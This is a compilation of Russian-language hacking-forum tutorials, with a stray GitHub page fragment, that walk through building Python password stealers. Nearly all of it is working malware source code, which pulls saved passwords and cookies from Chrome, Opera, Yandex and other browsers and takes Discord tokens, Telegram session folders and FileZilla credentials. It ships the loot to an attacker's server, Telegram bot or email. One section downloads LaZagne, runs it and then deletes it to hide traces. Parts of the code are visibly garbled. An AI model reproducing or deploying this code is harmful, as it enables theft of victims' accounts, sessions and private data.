Создаем свой стиллер на Python
LOLZTEAM
Создаем cтиллер на Python!
Статья носит образовательный характер, мы ни к чему не призываем и не обязываем. Информация представлена исключительно в ознакомительных целях.
Больше интересных статей на нашем форуме: https://lolz.guru/articles/
Подписывайтесь на канал и делитесь ссылкой на статью с друзьями!
Всем привет. В этой статье я покажу, как сделать стиллер на Python с отправкой в Telegram и привязать его к хостингу.
Зачем нужна привязка к хостингу?
Ответ прост — если сделать отправку напрямую в телеграм, то токен бота можно перехватить и так красть ваши логи. Поэтому мы сделаем так, чтобы наш стиллер сначала отправлял лог на наш сервер, и потом уже сервер отправлял нам лог в Telegram.
Покупаем хостинг. Лично я советую этот из-за своей небольшой цены на хостинги. Операционную систему ставим Ubuntu 20.
После покупки скачиваем PuTTY, вводим туда IP-адрес хостинга и нажимаем «Соединиться». В логин пишем root, в пароль пишем пароль, который нам пришёл в письме (пример ниже)

Сам пароль во время ввода будет не виден, так надо, не пугайтесь. Важно! Когда будете вводить пароль, не вписывайте туда русские буквы, иначе вы не сможете их стереть и вам придётся заново всё вводить.
Вошли в систему. Для начала нам нужно обновить все уже существующие пакеты и скачать другие, необходимые нам для работы сервера.
sudo apt-get update sudo apt-get install python3 sudo apt-get install python3-pip sudo apt-get install python3-venv sudo apt-get install nano sudo apt-get install screen pip3 install Flask pip3 install pytelegrambotapi
После установки всех нужных нам пакетов вводим:
mkdir server python3 -m venv server source server/bin/activate cd server
С помощью этих команд мы создаём папку server и активируем в ней «виртуальное окружение» для сервера.
Затем нам нужно создать в папке server файл с нашим API для загрузки файлов.
from flask import Flask, render_template, request, jsonify from werkzeug.utils import secure_filename from telebot import TeleBot TOKEN = "" userid = 12345678 tb = TeleBot(token=TOKEN) app = Flask(__name__) delete_file_from_db_after_upload = False @app.route("/uploadfile", methods=["GET", "POST"]) def upload_file(): if request.method == "POST": print(request.files) ft = request.files.get("file") if ft is None: return jsonify(error="your request has no files") filename = f"uploaded/" ft.save(filename) with open(filename, "rb") as f: tb.send_document(userid, f, timeout=10) f.close() if delete_file_from_db_after_upload: os.remove(filename) return "1" else: return jsonify(error="POST request is required")
В самом коде в строке TOKEN = » « в кавычки вставляем токен вашего телеграм бота, а в строке userid = 12345678 вместо 12345678 вставляем user id вашего аккаунта в телеграм. Также, если вы хотите, чтобы файлы после отправки в телеграм удалялись из памяти сервера, в строке delete_file_from_db_after_upload = False вставляем True вместо False.
Закрываем файл сочетанием клавиш CTRL+X, вам предложит сохранить файл, соглашаемся, нажав букву Y.
После создания файла вписываем команды:
screen -S server export FLASK_APP=server.py export FLASK_ENV=development export FLASK_RUN_PORT=8000 export FLASK_RUN_HOST=0.0.0.0 flask run
Поздравляю! Вы запустили сервер, который принимает логи и отправляет их вам в тг. Но это ещё не всё. Теперь к самому главному.
На этом этапе отходим от сервера и работаем с пк.
Скачиваем последний Python 3 и Nuitka (она нам потребуется для компиляции в .exe файл).
Заходим в смд и пишем:
python -m pip install pypiwin32 python -m pip install pycrypto python -m pip install Pillow
Затем создаём файл .py и пишем код:
import sqlite3 import shutil import os import win32crypt import json from base64 import b64decode from Crypto.Cipher import AES import re import platform import requests from PIL import ImageGrab import random import psutil from distutils.dir_util import copy_tree serverip = "" serverlink = f"http://:8000/uploadfile" def get_masterkey(path): with open(path, "r") as f: masterkey = b64decode(json.loads(f.read())["os_crypt"]["encrypted_key"])[5:] f.close() return win32crypt.CryptUnprotectData(masterkey, None, None, None, 0)[1] def screenshot(): ss = ImageGrab.grab() ss.save("Скриншот.jpg") def ip_and_location(): r = requests.get("http://ip-api.com/json").json() return "IP: <>\nСтрана: <>\nГород: <>\nКоординаты: <>, <>".format(r["query"], r["country"], r["city"], r["lat"], r["lon"]) def specs(): uname = platform.uname() geninfo = f"Операционная система: \n" geninfo += f"Имя пк: \n" geninfo += f"Процессор: \n" return geninfo def processes(): proclist = "" for proc in psutil.process_iter(): proc.dict = proc.as_dict(["username", "name"]) if proc.dict.get("username") is None: continue if os.getlogin() in proc.dict.get("username"): proclist += proc.dict.get("name") + "\n" with open("Диспетчер задач.txt", "w") as f: f.write(proclist) f.close() def get_info(): with open("Основная информация.txt", "w") as f: f.write(specs() + ip_and_location()) f.close() processes() screenshot() def cdupper(): os.chdir(os.path.split(os.getcwd())[0]) def cookies_decrypt(cpath, keypath): cookdata = "" dbname = os.path.split(cpath)[1]+".db" shutil.copy(cpath, dbname) conn = sqlite3.connect(dbname) c = conn.cursor() c.execute("SELECT host_key, name, value, path, expires_utc, is_secure, is_httponly, encrypted_value FROM cookies") for host_key, name, value, path, expires_utc, is_secure, is_httponly, encrypted_value in c.fetchall(): try: decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode("utf-8") or value or 0 except: decrypted_value = AES.new(get_masterkey(keypath), AES.MODE_GCM, nonce=encrypted_value[3:3+12]).decrypt_and_verify(encrypted_value[3+12:-16], encrypted_value[-16:]) cookdata += str(host_key) + "\t" + str(is_httponly) + "\t/\t" + str(is_secure) + "\t" + str(expires_utc) + "\t" + str(name) + "\t" + str(decrypted_value.decode()) + "\n" conn.close() os.remove(dbname) return cookdata def passwords_decrypt(cpath, keypath): passdata = b"" dbname = os.path.split(cpath)[1]+".db" shutil.copy(cpath, dbname) conn = sqlite3.connect(dbname) c = conn.cursor() c.execute("SELECT action_url, username_value, password_value FROM logins") for action_url, username_value, password_value in c.fetchall(): action_url = action_url.encode("utf-8") username_value = username_value.encode("utf-8") try: decrypted_value = win32crypt.CryptUnprotectData(password_value, None, None, None, 0)[1].decode("utf-8") except: iv = password_value[3:15] payload = password_value[15:] cipher = AES.new(get_masterkey(keypath), AES.MODE_GCM, iv) decrypted_value = str(cipher.decrypt(payload)[:-16], "utf-8", "ignore") passdata += b"URL: " + action_url + b"\nUsername: " + username_value + b"\nPassword: " + decrypted_value.encode() + b"\n\n" conn.close() os.remove(dbname) return passdata def chrome_cookies(): keypath = os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Local State" dbpath = [os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Cookies", os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Cookies2"] if not os.path.isfile(keypath): return if os.path.isfile(dbpath[0]): cookdata = cookies_decrypt(dbpath[0], keypath) with open("Куки (Chrome).txt", "w") as f: f.write(cookdata) f.close() if os.path.isfile(dbpath[1]): cookdata = cookies_decrypt(dbpath[1], keypath) with open("Куки (Chrome) #2.txt", "w") as f: f.write(cookdata) f.close() def chrome_passwords(): keypath = os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Local State" dbpath = [os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login Data", os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login Data2"] if not os.path.isfile(keypath): return if os.path.isfile(dbpath[0]): passdata = passwords_decrypt(dbpath[0], keypath) with open("Пароли (Chrome).txt", "wb") as f: f.write(passdata) f.close() if os.path.isfile(dbpath[1]): passdata = passwords_decrypt(dbpath[1], keypath) with open("Пароли (Chrome) #2.txt", "wb") as f: f.write(passdata) f.close() def opera_cookies(): keypath = os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Local State" dbpath = [os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Cookies", os.getenv("LOCALAPPDATA") + "\\Opera Software\\Opera Stable\\Cookies2"] if not os.path.isfile(keypath): return if os.path.isfile(dbpath[0]): cookdata = cookies_decrypt(dbpath[0], keypath) with open("Куки (Opera).txt", "w") as f: f.write(cookdata) f.close() if os.path.isfile(dbpath[1]): cookdata = cookies_decrypt(dbpath[1], keypath) with open("Куки (Opera) #2.txt", "w") as f: f.write(cookdata) f.close() def opera_passwords(): keypath = os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Local State" dbpath = [os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Login Data", os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Login Data2"] if not os.path.isfile(keypath): return if os.path.isfile(dbpath[0]): passdata = passwords_decrypt(dbpath[0], keypath) with open("Пароли (Opera).txt", "wb") as f: f.write(passdata) f.close() if os.path.isfile(dbpath[1]): passdata = passwords_decrypt(dbpath[1], keypath) with open("Пароли (Opera) #2.txt", "wb") as f: f.write(passdata) f.close() def operagx_cookies(): keypath = os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Local State" dbpath = [os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Cookies", os.getenv("LOCALAPPDATA") + "\\Opera Software\\Opera GX Stable\\Cookies2"] if not os.path.isfile(keypath): return if os.path.isfile(dbpath[0]): cookdata = cookies_decrypt(dbpath[0], keypath) with open("Куки (Opera GX).txt", "w") as f: f.write(cookdata) f.close() if os.path.isfile(dbpath[1]): cookdata = cookies_decrypt(dbpath[1], keypath) with open("Куки (Opera GX) #2.txt", "w") as f: f.write(cookdata) f.close() def operagx_passwords(): keypath = os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Local State" dbpath = [os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Login Data", os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Login Data2"] if not os.path.isfile(keypath): return if os.path.isfile(dbpath[0]): passdata = passwords_decrypt(dbpath[0], keypath) with open("Пароли (Opera GX).txt", "wb") as f: f.write(passdata) f.close() if os.path.isfile(dbpath[1]): passdata = passwords_decrypt(dbpath[1], keypath) with open("Пароли (Opera GX) #2.txt", "wb") as f: f.write(passdata) f.close() def find_token(path): path += "\\Local Storage\\leveldb" tokens = [] for file_name in os.listdir(path): if not file_name.endswith(".log") and not file_name.endswith(".ldb"): continue for line in [x.strip() for x in open(f"\\", errors="ignore").readlines() if x.strip()]: for regex in (r"[\w-]\.[\w-]\.[\w-]", r"mfa\.[\w-]"): for token in re.findall(regex, line): tokens.append(token) return tokens def discord_token(): rad = os.getenv("APPDATA") lad = os.getenv("LOCALAPPDATA") dcpaths = [rad + "\\discord", rad + "\\discordcanary", rad + "\\discordptb", lad + "\\Google\\Chrome\\User Data\\Default"] for dcpath in dcpaths: if not os.path.exists(dcpath): dcpaths.remove(dcpath) if dcpaths != []: tokenslist = find_token(dcpaths[0]) tokens = "\n".join(tokenslist) else: tokens = "Discord не установлен!" with open("Discord Токены.txt", "w") as f: f.write(tokens) f.close() def telegram_ssfn(): diskletters = ["A", "B", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"] pcdisks = ["C"] for i in diskletters: if os.path.exists(i + ":\\"): pcdisks.append(i + ":\\") tgpath = "" for i in pcdisks: for root, dirs, files in os.walk(i): if "Telegram.exe" in files: tgpath = root break if tgpath != "": filelist = os.listdir(tgpath+"\\tdata") for i in filelist: if i == "D877F783D5D3EF8C": copy_tree(tgpath+"\\tdata\\"+i, i) break if __name__ == "__main__": os.chdir(os.getenv("TMP")) r = requests.get("http://ip-api.com/json").json() filename = "<>_<>".format(r["countryCode"], r["query"]) os.mkdir(filename) os.chdir(filename) os.mkdir("Браузеры") os.chdir("Браузеры") chrome_passwords() chrome_cookies() opera_passwords() opera_cookies() operagx_passwords() operagx_cookies() cdupper() os.mkdir("Другое") os.chdir("Другое") discord_token() telegram_ssfn() cdupper() get_info() cdupper() shutil.make_archive(filename, "zip", filename) shutil.rmtree(filename) with open(f".zip", "rb") as f: req = requests.post(serverlink, files=).text print(req) f.close() os.remove(f".zip")
В строке serverip = «» в кавычки вписываем IP-адрес вашего сервера.
Вкратце что он умеет:
- Кража паролей и куки из браузеров Chrome (80+ версия поддерживается), Opera и Opera GX
- Кража токенов дискорд
- Кража папки-сессии Telegram Desktop
Закрываем файл и вводим в смд:
cd Desktop nuitka --standalone --output-dir=deploy-nui --onefile --windows-product-version=1.0.0 --windows-company-name=qwerty *путь до вашего файла*
Ждём пока всё скомпилируется, после компиляции заходим в появившуюся у вас на рабочем столе папку deploy-nui и видим там .exe файл вашего стиллера. Поздравляем! Теперь у вас есть свой стиллер, который выгружает логи к вам в телеграм без риска перехвата логов!
Пишем свой стилер на python [BlackCoding]
Привет хацкер, сегодня сделаем свой пиздатый стиллер на Python’e.
- Стиллинг сохранённых паролей и куков из браузеров(Google Chrome, Chromium, Amigo, Opera, Yandex Browser)
- Скриншот рабочего стола
- Стиллинг токена Discord
- Стиллинг сессий FileZilla
- Логи отправляются в Telegram
Приступим!
Создаём бота у @BotFather копируем токен бота, идём в лс к своему боту и начинаем диалог, далее переходим к этому боту @userinfobot и узнаём свой chat id.
С ботом закончили, открываем cmd и пишем следующие команды:
pip install pyTelegramBotAPI pip install win32crypt pip install telebot
Теперь открываем IDE и начинаем кодить:
Импортируем нужные библиотеки:
import os import sqlite3 import win32crypt import telebot import shutil import requests import zipfile from PIL import ImageGrab
Теперь объявляем переменную username, которая содержит имя пользователя:
username = os.getlogin()
Переменные для работы с ботом телеграм:
token = 'ВАШ_ТОКЕН_ОТ_БОТА' bot = telebot.TeleBot(token)
Сейчас будем воровать пароли от хрома(комментарии отмечены # / #комментарий):
def Chrome(): # Создаём функцию text = 'Stealer coded by Dark $ide\n\n\nPasswords Chrome:' + '\n' # Добавим авторов стиллера) text += 'URL | LOGIN | PASSWORD' + '\n' # Объясняем что лог идём в формате Ссылка | Логин | Пароль if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): # Ищем файл Login Data В котором содержатся все пароли shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') # Начинаем работать с sqlite базой cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') # Вытаскиваем Ссылку, логин, пароль for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() # расшифровываем данные login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password + '\n' # Добавляем данный в переменную return text file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") #Сохраняем данныем в txt файл google_pass file.write(str(Chrome()) + '\n') file.close()
Теперь воруем куки из хрома:
def Chrome_cockie(): textc = 'Stealer coded by Dark $ide\n\n\nCookies Chrome:' + '\n' textc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textc file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") #данные file.write(str(Chrome_cockie()) + '\n') file.close()
Воруем куки из Yandex Браузера:
def Yandex(): texty = 'Stealer coded by Dark $ide\n\n\nYANDEX Cookies:' + '\n' texty += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] texty += url + ' | ' + str(cookie) + ' | ' + name + '\n' return texty file = open(os.getenv("APPDATA") + '\\yandex_cookies.txt', "w+")#данные file.write(str(Yandex()) + '\n') file.close()
def Firefox(): textf = '' textf += '\n' + 'Stealer coded by Dark $ide\n\n\nFirefox Cookies:' + '\n' textf += 'URL | COOKIE | COOKIE NAME' + '\n' for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite') cursor = conn.cursor() cursor.execute("SELECT baseDomain, value, name FROM moz_cookies") data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ' | ' + str(cookie) + ' | ' + name + '\n' break return textf file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+")#данные file.write(str(Firefox()) + '\n') file.close()
Пароли браузеров на основе Chromium:
def chromium(): textch = '\n' + 'Stealer coded by Dark $ide\n\n\nChromium Passwords:' + '\n' textch += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textch += url + ' | ' + login + ' | ' + password + '\n' return textch file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+")#данные file.write(str(chromium()) + '\n') file.close()
Куки браузеров на основе Chromium:
def chromiumc(): textchc = '' textchc += '\n' + 'Stealer coded by Dark $ide\n\n\nChromium Cookies:' + '\n' textchc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textchc file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+")#данные file.write(str(chromiumc()) + '\n') file.close()
def Amigo(): textam = 'Passwords Amigo:' + '\n' textam += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textam += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+")#данные file.write(str(Amigo()) + '\n') file.close()
def Amigo_c(): textamc = 'Cookies Amigo:' + '\n' textamc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textamc file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+")#данные file.write(str(Amigo_c()) + '\n') file.close()
Воруем пароли с Оперы:
def Opera(): texto = 'Passwords Opera:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'): shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+")#данные file.write(str(Opera()) + '\n') file.close()
def Opera_c(): textoc = '\n' + 'Cookies Opera:' + '\n' textoc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textoc file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+")#данные file.write(str(Opera_c()) + '\n') file.close()
Теперь будем воровать DISCORD токен:
def discord_token(): if os.path.isfile(os.getenv("APPDATA") + '/discord/Local Storage/https_discordapp.com_0.localstorage') is True: token = '' conn = sqlite3.connect(os.getenv("APPDATA") + "/discord/Local Storage/https_discordapp.com_0.localstorage") cursor = conn.cursor() for row in cursor.execute("SELECT key, value FROM ItemTable WHERE key='token'"): token = row[1].decode("utf-16") conn.close() if token != '': return token else: return 'Discord exists, but not logged in' else: return 'Not found' ds_token = discord_token() ds_token += 'Discord token:' + '\n' + discord_token() + '\n' + '\n' file = open(os.getenv("APPDATA") + '\\discord_token.txt', "w+")#данные file.write(str(discord_token()) + '\n') file.close()
Воруем Сессии FileZilla:
def filezilla(): try: data = '' if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True: root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode('utf-8') data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n' return data else: return 'Not found' except Exception: return 'Error' textfz = filezilla() textfz += 'Filezilla: ' + '\n' + filezilla() + '\n' file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+")#данные file.write(str(filezilla()) + '\n') file.close()
Делаем скриншот рабочего стола:
screen = ImageGrab.grab() screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg')#данные
Теперь сохраняем все данные в архив:
zname=r'D:\LOG.zip' #создаем переменную - название и местоположение файла newzip=zipfile.ZipFile(zname,'w') #создаем архив newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\google_pass.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\google_cookies.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\yandex_cookies.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\chromium.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\chromium_cookies.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\amigo_pass.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\amigo_cookies.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\opera_pass.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\opera_cookies.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\discord_token.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\filezilla.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\sreenshot.jpg') newzip.close() #закрываем архив
Теперь добавим переменную doc:
doc = 'D:\LOG.zip'
Отправляем сообщение в телеграм бота:
bot.send_document(ВАШ CHATID, doc)
На этом всё, думаю если будет время добавлю ещё плюшек.
Скачать исходники можете тут: https://anonfile.com/u8C9l1v6b9/Dark_tealer_v1.0_py
Dark $ide — Твоя Тёмная Сторона
Если хочешь предложить свой контент пиши в бота: @ ds_offer_robot
Saved searches
Use saved searches to filter your results more quickly
Cancel Create saved search
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.
Стиллер паролей написанный на python 3.6
artur1214/stealler
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Switch branches/tags
Branches Tags
Could not load branches
Nothing to show
Could not load tags
Nothing to show
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Cancel Create
- Local
- Codespaces
HTTPS GitHub CLI
Use Git or checkout with SVN using the web URL.
Work fast with our official CLI. Learn more about the CLI.
Sign In Required
Please sign in to use Codespaces.
Launching GitHub Desktop
If nothing happens, download GitHub Desktop and try again.
Launching GitHub Desktop
If nothing happens, download GitHub Desktop and try again.
Launching Xcode
If nothing happens, download Xcode and try again.
Launching Visual Studio Code
Your codespace will open once ready.
There was a problem preparing your codespace, please try again.
[Python] — Пишем свой Стиллер с LaZagne.
Решил сегодня показать простую реализацию стиллера на Python’е с помощью вceизвecтного стиллера паролей — LaZagne.
( Подробнее: https://github.com/AlessandroZ/LaZagne )
Это моя первая обучающая тема, просьба не критиковать. Если будет отдача и вам зайдёт, то буду готовить ещё много интересного на Питоне.
Итак, приступим.
( Код не сложный, постараюсь максимально понятно объяснить каждую строку )
import subprocess # выполнение команд в шелле import smtplib # работа с почтой import requests # работа с http запросами import tempfile # работа с временными файлами ( Нужна, чтобы направить lazagne.exe в правильное место ) import os # работа с ОС def get_file(url): # создадим функцию, которая получит конечный файл с LaZagne.exe r = requests.get(url) # создадим запрос file_name = url.split('/')[-1] # отсекаем http://github.com/. и в итоге получаем конечное название файла - lazagne.exe with open(file_name, 'wb') as file: # открываем файл в локальной переменной file file.write(r.content) # пишем содержимое в файл def send(email, password, message): # создадим функцию, которая будет отправлять логи server = smtplib.SMTP('smtp.mail.ru', 587) # подключимся к smtp майла ( можно и smtp.gmail.com ) через порт 587 server.starttls() # стартуем соединение с шифрованием tls server.login(email, password) # логинимся в майл server.sendmail(email, email, message) # отправляем письмо server.quit() # закрываем сессию temp_dir = tempfile.gettempdir() # передадим в эту переменную путь к tmp ( временным файлам, где и хранятся пароли ) os.chdir(temp_dir) # сменим директорию в наши временные файлы get_file('https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe') # скачаем файл lazagne.exe по правилам в нашей функции result = subprocess.check_output('lazagne.exe all', shell=True) # передадим в эту переменную команду запуска lazagne.exe ( ключ 'all' извлекает абсолютно все пароли в системе, атрибут shell=True предоставляет доступ к шеллу ) send('ваш_майл@mail.ru', 'ваш пароль', result) # отправляем логи os.remove('lazagne.exe') # удалям наш файл ( заметаем следы )
